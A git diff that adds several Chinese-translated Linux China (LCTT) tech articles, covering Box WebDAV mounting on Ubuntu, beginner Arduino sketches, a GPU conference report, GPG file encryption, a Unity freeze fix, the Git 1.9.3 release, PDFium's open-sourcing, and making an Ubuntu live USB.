+关于这个话题我们已经写了很多,为了在ubuntu中安装DropBox云盘,你需要按照以下步骤去做,这里提供了一个在ubuntu中一步步安装和使用DropBox的步骤。 + +查看完整步骤,点这里,或者下面的链接: + +http://www.liberiangeek.net/2013/03/how-to-install-dropbox-in-ubuntu-13-04-raring-ringtail/ + +###在Ubuntu中使用Box网盘 + +自从Box不再提供给包括ubuntu在内的linux一个全功能客户端,你就必须使用WebDav协议来访问和存储你账户的东西。 + +按Ctrl – Alt – T来打开终端,终端被打开后,执行下面的命令来安装包: + + sudo apt-get install davfs2 + +接下来,执行下面的命令来配置davfs2,选择Yes来允许没有权限的用户来挂载WebDav资源。 + + sudo dpkg-reconfigure davfs2 + +接下来通过执行下面的命令把davfs2目录复制到你的home目录: + + sudo cp -r /etc/davfs2/ $HOME/.davfs2 + +然后执行下面命令获取文件夹的所有权: + + sudo chown -R username $HOME/.davfs2/ + +用你的用户名代替username + +接下来打开密码文件输入你的登录凭证: + + gedit ~/.davfs2/secrets + +然后键入你的用户名(email地址)和密码,在文件末尾添加下面的行并保存。 + + https://dav.box.com/dav richard@liberiangeek.net + +用你的账户信息替换上面的email地址和password。 + +接下来用下面的命令添加你的账户到davfs2组中: + + sudo adduser davfs2 + +然后用sudo gedit /etc/fstab 打开/etc/fstab在后面添加下面一行并保存: + + https://dav.box.com/dav/ /home//box davfs _netdev,rw,user 0 0 + +最后创建一个挂载点并挂载Box + + mkdir ~/box + +重启你的电脑,Box能开机自动挂载了, + +享受下吧! + +------------------ + +via: http://www.liberiangeek.net/2014/04/daily-ubuntu-tips-ubuntu-one-shuts-down-switch-to-dropbox-or-box-cloud-services/ + +译者:[yujianxuechuan ](https://github.com/yujianxuechuan ) 校对:[wxy](https://github.com/校wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201405/Easy Arduino--Two Projects To Help You Get Started.md b/published/201405/Easy Arduino--Two Projects To Help You Get Started.md new file mode 100644 index 0000000000..7f64641d30 --- /dev/null +++ b/published/201405/Easy Arduino--Two Projects To Help You Get Started.md @@ -0,0 +1,166 @@ + +Easy Arduino: 开始你的Arduino之旅 +================================================================================ + +> 许多Arduino的项目都是基于两个简单的程序。 + +能电脑所不能的单片机,这就是Arduino。 + +我们每天使用的计算机是强大的,但它们根本不了解身边发生了什么事。比如说你的笔记本电脑也不能感到光或水。另外,Arduino对外专门设计成键控的。它有一个用于简化传感器通信的输入、输出板子。 + +Arduino是由Massimo Banzi和他的意大利搭档Ivrea开发的,并用Ivrea——[他最喜欢的酒吧][1]命名。Banzi希望他的设计课程的学生们有一个原型的硬件的廉价,容易的解决方案。自2005年Arduino的发布,它已经从一个教学工具发展成为世界各地制造商的DIY项目。现在有了[多模型][2]——更先进的Arduino Due,大功率,微纳米。 + +无论你购买哪个Arduino模型,当你用它来做“[互联网][3]”项目时,单片机的实用性便体现出来了——Arduino可以很容易让你连接到真实世界,云端,或两者。本书中,我们将重点介绍两个超基础项目以便展示Arduino可以多简单。 + +### 开始使用Arduino ### + +在我们能够完全了解Arduino是什么之前,知道它不是什么是很重要的。Arduino不是电脑(跟卡片电脑[Raspberry Pi][4]不一样)。它不能被独立编程,需要被插入到计算机中去。它不是特别强大,Arduino Uno只有[32 KB的内存][5] ,而苹果笔记本却平均有8G内存。 + +所以为了使用Arduino,你不能只买这个单片机。对于以下的项目,你需要的是: + +### 硬件 ### + +- Arduino Uno. “Uno”在意大利语中是一的意思,但这并不是有史以来第一个Arduino,只是最基本的Arduino单片机的最新版本。这些项目可以工作在任何一个型号上,但这里我用的是这个型号。 +- B型USB线。我已经很多年没见过这些旧式的USB端口了,但你可能会在旧的电子设备上用过他们。[他们的成本约5-10美元][6] (译注:就是能连接题图的板子上的那个大大的USB口的线)。 +- LED灯。可以直接粘在Arduino上的一个引脚上的小灯;[这些往往是相当便宜的][7]。 + +### 软件 ### + +- [Arduino IDE][8],即“集成开发环境”,是一个免费开源软件,用于开发“sketches”,也就是Arduino用户所说的程序。 + + 当你第一次打开Arduino IDE,你需要建立软件所使用的端口,它用于控制Arduino如何工作,点击“工具”——>“串口”来建立。 + +- 在[OS X][9]上,Uno串口的设备名叫做“/dev/tty.usbmodem”,但其他类型的Arduino板可能不同。我的是“/dev/tty.usbmodem1421”。 +- 在[Windows][10],串口是COM3或更高端口,因为COM1和COM2通常保留给其他硬件。为确定端口号,你可以拔掉Arduino并重新打开IDE菜单。哪个口子不再出现哪个就是你的Arduino。 + + + 一般来说,你不用担心直接拔出你的Arduino电路板会有什么问题。我们知道功能齐全的电脑不应该这样做,包括Raspberry Pi,因为他们可以在后台运行一个重要的操作系统任务。但是Arduino只是一个单片机,除非你主动让它写内存,否则它肯定是不会的。 + +### Arduino 硬件初步: 闪烁一个LED ### + +在这第一个项目中,我们将概述Arduino产生物理输出的最基本方式,在这个实例中,闪烁一个LED灯。 + +我们要去写一个非常简单的程序使得LED频闪——或者是当我自豪地向他展现了[我的作品][11]时,我的朋友明智的告诉我,“一点小成果”。本程序是基于开源项目[Blink sketch][12],它可以在Arduino的官网找到。 + +首先,设置硬件,将LED的两个脚分别插到到Arduino的公共地GND和引脚13上。 + +注意:如果你准备将一个LED插到一个打开电源的Arduino板子上较长时间(比如超过了这个项目的时间),安全的做法是也接一个220欧姆的电阻。这里有一个你也许需要的[接线图][16],来自Arduino官网。 + + +![](http://readwrite.com/files/pin13andground.jpg) + + 一个叉略短于另外一个叉——短的这个是负极头,因此,这个接“地”,即GND输入/输出。 + +![](http://readwrite.com/files/led_leads.jpg) + +*注意短的接GND.* + +现在让我们开始写程序。首先,让我们给个程序的名字。Arduino会忽略行内双斜杠后边的内容,所以这是为自己写注释的好方法: + + // 程序 1: 使一个LED闪烁开和关 + +当硬件工作时,我们需要告诉Arduino在它的14根不同的输入/输出引脚中哪儿会有信号。在这种情况下,我们固定13引脚的LED。这是我们的如何命名固定在引脚13的LED,其中“LED”只是我给的变量名: + + int LED = 13; + +每一个Arduino程序由两部分组成:void setup() 和 void loop()。这是能够运行的[最小的][13]Arduino程序。 + +在 **void setup()**中, 我们告诉Arduino初始化引脚为输出: + + void setup() { + pinMode(LED, OUTPUT); + } + +在**void loop()**中,我们告诉Arduino“写”一个值到引脚13中。因为我想让它闪烁,在每个循环中我们要使它写一个序列的四个不同命令。如“loop”一词的意思,直到把Arduino关掉前,我们希望它不断执行。 + +在下面的代码中,LED代表了我们之前分配的那个变量。”HIGH”告诉Arduino给LED提供五伏的电源,而“LOW”提供零伏。在闪烁时,使得它延迟“1000”毫秒每一整秒: + + void loop() { + digitalWrite(LED, HIGH); + delay(1000); + digitalWrite(LED, LOW); + delay(1000); + } + +当把它们放在一起时,整个程序如下(再次声明,Arduino忽略行内双斜杠后边的内容,所以那只是你自己的注释): + + // 程序 1: 使一个LED闪烁开和关 + int led = 13; // name the LED in pin 13 + void setup() { + pinMode(LED, OUTPUT); // tell Arduino the pin in question is an output + } + void loop() { + digitalWrite(LED, HIGH); // deliver 5V to LED + delay(1000); // wait a second + digitalWrite(LED, LOW); // deliver 0V to LED + delay(1000); // wait a second + } + +点击checkmark来验证你的代码是没有错误的,然后按play键。如果你的Arduino已经连接,它应该开始运行你的闪烁程序了。 + +### Arduino 软件程序: 打印到电脑上 ### + +现在让我们来做一个控制开关并试着演示Arduino是如何产生数字输出的最基本项目。 + +我们将要设置Arduino “打印”,或是在您的计算机屏幕上显示信息。这个程序基于Paul Bianchi的[Arduino printing tutorial][14]。 + +在这个实例中没有硬件,这样我们就可以直接跳到程序部分。再说一次,程序分为两个部分: **void setup()** 和 **void loop()**。 + +在**void setup()**中,我们要打开一个Arduino和计算机之间通信的线路,指定速率是9600b/s。如果你使用另一个速率,你可能会在计算机上得到乱码而不是文字。 + + void setup() { + Serial.begin(9600); + } + +在**void loop()** 中,这部分很像我们的一个LED程序。我们要给它两条独立的指令,告诉它在他们之间每一整秒中断。[Println][15]是Arduino输出到你的电脑显示的命令。**注意"Println"中的"l"的是小写的"L",而不是大写的"i"!** + + void loop() { + Serial.println(“hello”); + delay(1000); + Serial.println(“world.”); + delay(1000); + } + +将标题和注释等放到一起,如下: + + // 程序 2: 使Arduino打印 “Hello World”到电脑上 + void setup() { + Serial.begin(9600); // open a 9600 baud communication line to computer + } + void loop() { + Serial.println(“Hello”); // write the word “Hello” + delay(1000); // wait a second + Serial.println(“World”); // write the word “World” + delay(1000); // wait a second + } + +验证你的代码并运行。什么都不会显示,直到你点击Arduino IDE窗口右上角的“Serial Monitor”。你应该看到一个不停输出的“Hello World”,一遍又一遍,直到你拔掉Arduino。你会看到它并不完美:我总是得到一些乱码,但很快它自己就好了。 + +![](http://readwrite.com/files/Screen%20Shot%202014-04-21%20at%209.28.18%20AM.png) + +这两个Arduino项目都非常基本,但是通过执行他们你已经开始看到,可以与传感器通信并写结果到您的计算机的Arduino的潜力所在。如果你把这两个项目整合——例如,你可以连接一个温度计到你的Arduino,并告诉它将温度写到你的笔记本电脑,你会很快实现Arduino的可能性几乎是无止境的。 + +-------------------------------------------------------------------------------- + +via: http://readwrite.com/2014/04/21/easy-arduino-projects-basics-tutorials-diy-hardware#feed=/hack + +译者:[tenght](https://github.com/tenght) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://spectrum.ieee.org/geek-life/hands-on/the-making-of-arduino/0 +[2]:http://arduino.cc/en/main/boards +[3]:http://en.wikipedia.org/wiki/Internet_of_Things +[4]:http://readwrite.com/2014/01/20/raspberry-pi-everything-you-need-to-know +[5]:http://arduino.cc/en/Main/arduinoBoardUno +[6]:https://www.google.com/search?q=type+b+usb&espvd=210&es_sm=91&source=univ&tbm=shop&tbo=u&sa=X&ei=2iVVU9DKDIbLsATni4LwDg&ved=0CCgQsxg&biw=1436&bih=658 +[7]:https://www.google.com/search?es_sm=91&biw=1436&bih=658&tbm=shop&q=LED+light&oq=LED+light&gs_l=serp.3..0l10.65005.66134.0.66303.9.9.0.0.0.0.141.697.5j3.8.0.ehm_loc%2Chmss2%3Dfalse%2Chmnts%3D50000...0...1.1.41.serp..4.5.359.V7CTGdfZBFU +[8]:http://arduino.cc/en/main/software#toc1 +[9]:http://arduino.cc/en/guide/macOSX#toc8 +[10]:http://arduino.cc/en/guide/windows#toc8 +[11]:http://instagram.com/p/mp6Gl7q3lU/ +[12]:http://arduino.cc/en/Tutorial/Blink +[13]:http://arduino.cc/en/Tutorial/BareMinimum +[14]:http://quarkstream.wordpress.com/2009/12/09/arduino-1-writing-and-uploading-sketches/ +[15]:http://arduino.cc/en/Serial/Println +[16]:http://arduino.cc/en/uploads/Tutorial/ExampleCircuit_bb.png \ No newline at end of file diff --git a/published/201405/Embedded tech and use of Linux at the 2014 GPU Technology Conference.md b/published/201405/Embedded tech and use of Linux at the 2014 GPU Technology Conference.md new file mode 100644 index 0000000000..50b84ea980 --- /dev/null +++ b/published/201405/Embedded tech and use of Linux at the 2014 GPU Technology Conference.md @@ -0,0 +1,35 @@ +2014 GPU技术大会上关于Linux的嵌入式技术和应用 +================================================================================ +![Image by opensource.com](http://opensource.com/sites/default/files/imagecache/image-full-size/images/life-uploads/gputechcon2.jpg) + +今年我第一次参加了在加利福尼亚圣琼斯举办的[GPU技术大会][1](就在[游戏开发者大会][2]之后的星期里)。在这次由NVIDIA主办的会议上,广泛讨论了包括自动化,动画,游戏,科研,云,系统集成,和新兴公司在内的各个领域的主题。活动议程主要由三大部分组成,500场技术会议,实地编程场所和展示,以及一个展示大厅可以让参与者展示他们最新的工作成果。 + +![](http://opensource.com/sites/default/files/resize/images/life-uploads/gputechconf1-520x385.jpg) + +第一个活动在第二天,由NVIDIA CEO黄仁勋带来的演讲。他公布了应用于公司的下一代GPGPU产品的全新架构[Pascal][3],以及被称为世界上第一台嵌入式超级电脑的[Jetson TK1][4]。Pascal将应用在下一代超级电脑或者工作站上,而Jetson主要针对嵌入式市场,这两个都普遍使用了Linux。活动中还展示了奥迪的应用了Jetson架构的无人驾驶汽车,最后以每位参与者都获赠一部应用了Android系统的NVIDIA Shield的通知结束。 + +![](http://opensource.com/sites/default/files/resize/images/life-uploads/jetson-350x466.jpg) + +第二个活动重点是Pixar的实时渲染现场演示,展示了动画设计师们如何受益于最新的GPU技术,而更有效地在最终渲染之前获取反馈。最后的活动由Adam Gazzaley博士主持,来自加州大学三藩分校的神经学科学家,他在研究应用视频游戏来帮助增强认知。活动现场展示了使用Occulus Rift游戏头盔做的虚拟现实技术,实时电子测量/反馈数据到游戏中。 + +![](http://opensource.com/sites/default/files/resize/images/life-uploads/pixartech2-520x390.jpg) + +我参加这次大会的主要原因之一是想更多地了解一下目前可视化领域的最新开发情况,活动中有很多会议关注这个领域以及GPGPU协同运算和可视化实时反馈。越来越多的超级电脑也开始应用GPGPU加速,例如橡树岭国家实验室的Titan。大部分会议由NVIDIA工程师和开发者主持,不过也有许多会议由研究实际问题的科学家带来(相对于渲染/可视化,大部分关注在GPGPU)。还有一场海报会议,展示大范围的各种应用,还提供了和开发之直接对话的机会。许多项目都是开源的,扩展应用了许多我们熟悉的库。 + +很明显OpenGL在这个领域很活跃,有大量令人激动的开发。有意思的是,它们之中大多数借助了游戏产业的持续增长,因为需要移植到新的基于Linux的平台比如[SteamOS][5]。在OpenGL未来会议上展示了运行在Jetson平台的现场演示,而且在之前游戏开发者大会上的[实现零驱动开销][6]的演讲在本次大会中被大量引用。一些二进制驱动的改善被提到,用来更好地支持采用nVidia的Optix平台的场景图形和实时光线跟踪技术,通过大会的一个获奖作品[HIV壳体展示][7],展示了GPU技术在科研领域带来的促进作用。 + +-------------------------------------------------------------------------------- + +via: http://opensource.com/life/14/4/gpu-technology-conference-2014 + +译者:[zpl1025](https://github.com/zpl1025) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.gputechconf.com/ +[2]:http://www.gdconf.com/ +[3]:http://blogs.nvidia.com/blog/2014/03/25/gpu-roadmap-pascal/ +[4]:http://www.nvidia.com/object/jetson-tk1-embedded-dev-kit.html +[5]:http://steamcommunity.com/linux +[6]:http://www.slideshare.net/CassEveritt/approaching-zero-driver-overhead +[7]:http://blogs.nvidia.com/blog/2014/03/27/researchers-win-third-annual-cuda-achievement-award-three-new-cuda-fellows-named/ diff --git a/published/201405/File encryption with GNU Privacy Guard.md b/published/201405/File encryption with GNU Privacy Guard.md new file mode 100644 index 0000000000..575a3ad654 --- /dev/null +++ b/published/201405/File encryption with GNU Privacy Guard.md @@ -0,0 +1,149 @@ +用GNU Privacy Guard加密文件 +================================================================================ +加密技术可以保证你的文件使用加密形式存储,不管你是要把它公开到因特网,备份到服务器,用U盘携带,还是保存在笔记本里。加密你的数据,意味着除非是你认可的接收者,其他人都不可以读取,这样可以防止信息泄漏。 + +### GPG (GNU Privacy Guard) ### + +GPG是GNU Privacy Guard的缩写。它是一种基于密钥的加密方式,使用了一对密钥对消息进行加密和解密,来保证消息的安全传输。一开始,用户通过数字证书认证软件生成一对公钥和私钥。任何其他想给该用户发送加密消息的用户,需要先从证书机构的公共目录获取接收者的公钥,然后用公钥加密信息,再发送给接收者。当接收者收到加密消息后,他可以用自己的私钥来解密,而私钥是不应该被其他人拿到的。 + +### GPG 使用公钥和私钥 ### + +公钥是你共享出来的一个公开密钥,它可以被发给任何你希望收到加密信息的人,他们可以使用你的公钥来加密信息。公钥本身不能用来解密自己加密过的信息,只有你自己——那个拥有对应私钥的人——能够解密。私钥是你自己的私人密码,可以用来解密用你的公钥加密过的信息。如果你把私钥泄漏给别人,那么他将可以解密并查看那些使用你的公钥加密过的信息。 + +### 在终端里使用GPG ### + +如今大多数的Linux发行版都默认包含了GPG。想检查一下的话,打开终端并输入: + + $ gpg --version + +然后你应该看到版本。如果是这样的话,你不需要做其他事情了。否则,你需要从你的发行版软件仓库里安装GPG。 + +### 生成密钥 ### + +想使用GPG来加密你的通讯,你需要先创建一对密码。首先,打开终端并运行下面的命令: + + $ gpg --gen-key + +然后会有如下提示: + + Please select what kind of key you want: + (1) DSA and Elgamal (default) + (2) DSA (sign only) + (5) RSA (sign only) + Your selection? + +这里要选择数字1,因为它可以用来加密和解密,第二和第三个选项只能让你给信息签名。按下数字1,然后按回车。 + +然后会有如下提示: + + 1 DSA key-pair will have 1024 bits. + 2 ELG-E keys may be between 1024 and 4096 bits long. + 3 What key-size do you want? (2048) + +这里最好输入“2048”,就像GPG推荐的那样。如果你不希望你的密钥过期的话(在后面的提示里,选择0)。如果有提示说信息是否正确的话,回答Yes,然后输入你的真实名字,email地址,以及一个说明(可选的)。如果一切顺利,按下“哦”(对应着OK)然后回车。 + +在这之后,会提示你输入一个密码,密码会要求重复输入一次。通常,请使用一个难于破解的加强密码,而不推荐用名字/地址/生日/单词等等来做密码。 + +在输好密码之后,请按照终端里的提示信息做:我们需要生成大量的随机数,建议您在生成素数的过程中做一下这些动作(敲击键盘,移动鼠标,读写硬盘),这样会让随机数生成器有机会获取更大的熵。 + +生成好密钥以后,你应该会看到一条类似的提示信息:gpg: key 083C39A4 marked as ultimately trusted. public and secret key created and signed. + +### 密钥服务器 ### + +密钥服务器是用来发布你的公钥,并将其分发到其他人的服务器,这样其他用户可以轻松的根据你数据库中的名字(或者e-mail地址)来获取你的公钥,并给你发送加密信息。这样可以避免把公钥直接拷贝给你的朋友的方式,而让其他人直接通过在线数据库来找到你。 + +上传你的公钥到密钥服务器: + + $ gpg --send-keys --keyserver [keyservers.address.com] [yourpublicid] + +你需要把keyservers.address.com替换成你选择的服务器(或者用mit.edu,它会跟其他服务器做同步),还需要把命令行中的*yourpublicid*替换成你的。最终执行的命令看上去会大概是下面这样子: + + $ gpg --send-keys --keyserver hkp://pgp.mit.edu 083C39A4 + +### 加密文件 ### + +如果你想给你的朋友发送一个用他的公钥加密过的文件,可以用下面的命令: + + $ gpg -o encrypted_file.gpg --encrypt -r key-id original.file + +命令解释: + + -o encrypted_file.gpg = 指定输出文件 + --encrypt = 做加密 + -r = 接收者的KEY-ID,比如这里就填你朋友的KEY-ID。 + original.file = 指定要加密的文件 + +### 解密文件 ### + +如果有人给你发送了一个用你的公钥加密过的文件,你可以按下面的方式解密: + + $ gpg --decrypt filename.gpg + +### 对称加密 ### + +你还可以使用GPG做对称加密,来给文件加上一个密码。这种不同于公钥加密的方式,在对称加密中,同一个密钥用于加密和解密。这种方式在处理信息的时候会简单点,但是保密性没那么好,因为需要把密码告诉接收者。下面是用密码加密文件的命令: + + $ gpg -c filename.txt + +解密这个文件,用下面的命令: + + $ gpg filename.txt + +然后,会提示你输入密码,之后就开始解密文件。 + +### 文档数字签名 ### + +数字签名非常类似于你在信件或者重要文件的末尾签上自己的名字,它表示这份文件确实是由你发出来的。通过数字签名,它会计算整个文件内容的SHA1哈希值,然后把这个值附加到签名末尾。如果文件内容被篡改,签名的校验就会失败,可以用来鉴定伪造。如果用户自己在签名后编辑了这份文件,签名校验也会失败,因为此时文件的SHA1哈希值已经和之前签名时不同了。 + +对一份文件做数字签名,运行下面的命令: + + $ gpg --clearsign filename.txt + + +### 生成销毁密钥 ### + +销毁密钥可以在你的私钥泄漏或者怀疑泄漏的时候,吊销你的公钥。使用下面的命令创建一个销毁密钥: + + $ gpg --output revoke.asc --gen-revoke keyid + +把销毁密钥保存到一个安全的地方,任何人都可以用它让你的密钥失效。(你可以用对称加密方式来加密你的销毁密钥文件。) + +### 在终端里使用GPG的一些技巧 ### + +通过下面的命令可以查看你已经导入的GPG密钥: + + $ gpg --list-keys + +之后应该会列出来用你e-mail注册的密钥列表(因为这里只有一个密钥,它只列出了你自己的密钥),然后,你可以看到自己的KEY-ID,就可以通过上文介绍的命令提交给密钥服务器。 + +显示你的密钥链中的私钥和公钥。 + + $ gpg --list-public-keys # 会列出来公钥 + $ gpg --list-secret-keys # 会列出来私钥 + +### 导入密钥 ### + + $ gpg --import KEYFILE + +命令中的KEYFILE应该是需要导入的公钥文件名。(如果文件不在主目录中,使用cd命令切换到该文件的目录下,再执行上面的命令) + +### 导出公钥到文件 ### + +用下面的命令可以将你的公钥导出为ASCII格式: + + $ gpg --export -a > publickey.asc + +\* * * * * +### 关于Richard White ### + +Richard是一位技术爱好者,在不止一个场合他被称为极客。他还是三本书的作者,最近的一本《数字时代的隐私》即将在2014年5月份出版精装本。他还是数字时代网站的主编和驱动者,数字时代的目的是提供资源和工具来实现和维护匿名,安全和隐私。Ricard经常写一些和隐私相关的文章,最近忙着写《CLI艺术》,收集开源的命令行软件。关于GNU Privacy Guard的[更多信息][1]以及如何使用GPG软件的图形界面工具,你可以访问White的数字时代网站。 + +-------------------------------------------------------------------------------- + +via: http://distrowatch.com/weekly.php?issue=20140407 + +译者:[zpl1025](https://github.com/zpl1025) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://digital-era.net/gpa-gnu-privacy-assistant/ diff --git a/published/201405/Fix Unity Freezes After Login In Ubuntu 14.04 [Quick Tip].md b/published/201405/Fix Unity Freezes After Login In Ubuntu 14.04 [Quick Tip].md new file mode 100644 index 0000000000..1d44fffb2f --- /dev/null +++ b/published/201405/Fix Unity Freezes After Login In Ubuntu 14.04 [Quick Tip].md @@ -0,0 +1,41 @@ +解决Ubuntu 14.04 Unity桌面环境登录后冻结问题 +================================================================================ + +如果你把Ubuntu从13.10更新到14.04,你也许会遇到**用Unity桌面环境登录时冻结的现象**。引导进入Ubuntu14.04,输入验证信息,系统会挂起,冻结在那里。如果你稍微幸运些,你还能看到鼠标光标、桌面背景,仅此而已。**没有Unity触发器,也没有顶部面板**等等。你的ubuntu基本上不可用了。 + +缺少Unity触发器和面板以及系统冻结的问题,可以通过重新安装Unity来解决。让我们看看怎么做: + +### 重新安装14.04的Unity 以解决系统冻结的问题### + +好吧,如果你正被困在一个冻结的系统上,按下**Ctrl+Alt+F2**。这会让你进入一个命令行界面而不是默认的用户桌面界面。切换到命令行界面后,输入用户名和密码登录之后,使用下面的命令重装Unity桌面环境: + + sudo apt-get update + sudo apt-get install –reinstall ubuntu-desktop + sudo apt-get install unity + sudo shutdown -r now + +最后一个命令是重启系统,重启之后,你的Unity应该就变好了。 + +### 解决Nvidia显卡的Unity冻结问题### + +我没有使用过Nvidia的显卡,但是我找到了别人解决这个问题的方法。尽管上面的技巧对我来说有效,但是我没有过验证下面的命令。使用Nvidia的用户,请告诉我下面的步骤是否工作: + +和上面一样使用**Ctrl+Alt+F2**登录到命令行界面,输入下面的命令: + + sudo apt-get update + sudo apt-get install –reinstall ubuntu-desktop + sudo apt-get install unity + sudo apt-get remove –purge nvidia* + sudo shutdown -r now + +如果重启之后Unity恢复了,记得重新安装你的Nvidia显卡的驱动,因为你已经卸载了它。 + +我希望这些技巧能够帮助你从冻结的unbuntu 14.04中恢复。最后,任何的问题和建议都欢迎来提。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/fix-unity-freezes-after-login-ubuntu-14-04/ + +译者:[ggaaooppeenngg](https://github.com/ggaaooppeenngg) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201405/Git 1.9.3 Version Control System Officially Released.md b/published/201405/Git 1.9.3 Version Control System Officially Released.md new file mode 100644 index 0000000000..0293873b5f --- /dev/null +++ b/published/201405/Git 1.9.3 Version Control System Officially Released.md @@ -0,0 +1,31 @@ +Git 1.9.3版本控制系统已正式发布 +=========================== +![](http://i1-news.softpedia-static.com/images/news-700/Git-1-9-3-Version-Control-System-Officially-Released.jpg) +**Git 1.9.3,是一种自由和开放源码的分布式控制版本系统,该设计用于快速有效地处理从小到非常大的项目,现在已经可以提供下载了。** + +新的Git 1.9.x系列继续保持着大量发布的传统,包含了大量的变动和修复。最新版本系列比我们预期稍微小了一点,但的确做了一些有趣的变化。如果你在使用Git,你也许该考虑升级到最新版本的。 + +根据开发者所说,“git p4”在处理二进制文件时受损是由于1.9版本的一些改变,但是这已经被修复了。在shell提示符脚本(在contrib目录/下),使用PROMPT_COMMAND界面时,显示分支名称$PS时不再使用不安全的构造,“git rebase”也不再使用POSIX shell中的结构。 + +此外,一些在Unicode6.3中定义的代码点的零宽度问题的已经得到修复,在一些不能在FreeBSD中运行的shell结构的测试,也都已经得到修复了。 + +关于更改的完整列表,请查看[更新日志][1]。 + +下载Git 1.9.3地址 + +- [tar.gz][2][sources] [4.60 MB] +- [Debian/Ubuntu DEB ALL][3][ubuntu_deb] [0 KB] +- [Red Hat/Fedora/Mandriva/openSUSE RPM noarch][4][rh_rpm] [0 KB] + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Git-1-9-3-Version-Control-System-Officially-Released-441600.shtml + +译者:[disylee](https://github.com/译者ID) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://github.com/git/git/blob/master/Documentation/RelNotes/1.9.3.txt +[2]:https://github.com/git/git/archive/v1.9.3.tar.gz +[3]:http://git-scm.com/download/linux +[4]:http://git-scm.com/download/linux diff --git a/published/201405/Google Chrome's PDF Rendering Engine Released as Open Source.md b/published/201405/Google Chrome's PDF Rendering Engine Released as Open Source.md new file mode 100644 index 0000000000..09dbd48225 --- /dev/null +++ b/published/201405/Google Chrome's PDF Rendering Engine Released as Open Source.md @@ -0,0 +1,25 @@ +谷歌浏览器使用的 PDF 渲染引擎已开源 +================================================================================ +![](http://i1-news.softpedia-static.com/images/news2/Google-Chrome-s-PDF-Rendering-Engine-Released-as-Open-Source-443461-2.jpg) + +**像谷歌这样的大公司并不是真的喜欢开源项目,虽然他们的谷歌浏览器基于开源的 Chromium 浏览器。现在,在谷歌浏览器中所使用的 PDF 渲染引擎以开源形式发布了。** + +在谷歌浏览器中所使用的 PDF 渲染引擎是 [PDFium][1] ,迄今为止这个项目都没有向公众发布过。现在还不清楚是什么改变了他们的想法,不过现在用户们可以去下载 PDFium 的源代码了。 + +虽然 PDFium 现在是开源的,但是它是在一个有特定条件的新 BSD 协议下发布的。例如再次使用源代码必须保留其原有的版权声明、一份条件列表以及一份免责声明。对于二进制文件的再发布需要相同的条件。与此同时,无论是版权持有者还是它的贡献者都不能署名或推广该软件的衍生产品。 + +就像大多数的开源项目一样,它可以通过 Git 取得,你可以很容易地使用如下命令乃克隆该项目: + + git clone https://pdfium.googlesource.com/name + +虽然 PDFium 未必能在其他主要项目中使用,但我们很高兴看到谷歌正在试图对开源社区变得友好。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Google-Chrome-s-PDF-Rendering-Engine-Released-as-Open-Source-443461.shtml + +译者:[wwhio](https://github.com/wwhio) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://code.google.com/p/pdfium/ \ No newline at end of file diff --git a/published/201405/How To Create A Live USB Of Ubuntu 14.04 In Windows 7 & 8.md b/published/201405/How To Create A Live USB Of Ubuntu 14.04 In Windows 7 & 8.md new file mode 100644 index 0000000000..69757e6566 --- /dev/null +++ b/published/201405/How To Create A Live USB Of Ubuntu 14.04 In Windows 7 & 8.md @@ -0,0 +1,44 @@ +如何在win 7/8 中制作一个Ubuntu 14.04 的USB随身碟 +================================================================================ +安装Ubuntu的第一步是制作一个随身碟。如果你正在使用Windows XP,7,8 或者 8.1,你可以用Universal USB Installer去创建一个Live USB。这是我最喜欢用的方法,而且它很容易使用。让我们看看如何很容易地在Windows 8 里制作一个Ubuntu的Live USB 。 + +### 在Windows里制作live USB的步骤: ### + +#### 第一步:下载Ubuntu ISO镜像 #### + +到[Ubuntu网站][1]下载你首选Ubuntu版本的ISO镜像。 + +#### 第二步:下载Universal USB Installer #### + +如果你曾经下载了Ubuntu 14.04的ISO镜像,到[这个页面][2]下载最新版本的Universal USB Installer。 + +#### 第三部:制作live USB #### + +把U盘插在电脑上并运行Universal USB Installer。选择Linux类型为Ubuntu,浏览并选择下载的ISO镜像的路径,之后选择U盘。不要忘记在format(格式化)选项上打上勾。 + +![](http://itsfoss.com/wp-content/uploads/2014/05/Create_Live_USB_Ubuntu_1404.png) + +会弹出一个警告,点击Yes. + +![](http://itsfoss.com/wp-content/uploads/2014/05/Create_Live_USB_Ubuntu_1404_1.png) + +等待一段时间,等待制作完成。你也可以把它放在后台运行。 + +![](http://itsfoss.com/wp-content/uploads/2014/05/Create_Live_USB_Ubuntu_1404_2.png) + +也就是说,制作live USB需要几分钟时间。 + +![](http://itsfoss.com/wp-content/uploads/2014/05/Create_Live_USB_Ubuntu_1404_3.png) + +一旦live USB制作完成,说明你可以安装Ubuntu 14.04了。希望这个教程能帮助你在Windows中轻松制作Ubuntu的live USB。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/create-live-usb-of-ubuntu-in-windows/ + +译者:[linuhap](https://github.com/linuhap) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.ubuntu.com/download/desktop/ +[2]:http://www.pendrivelinux.com/universal-usb-installer-easy-as-1-2-3/ \ No newline at end of file diff --git a/published/201405/How To Disable UEFI Secure Boot In Windows 8 & 8.1.md b/published/201405/How To Disable UEFI Secure Boot In Windows 8 & 8.1.md new file mode 100644 index 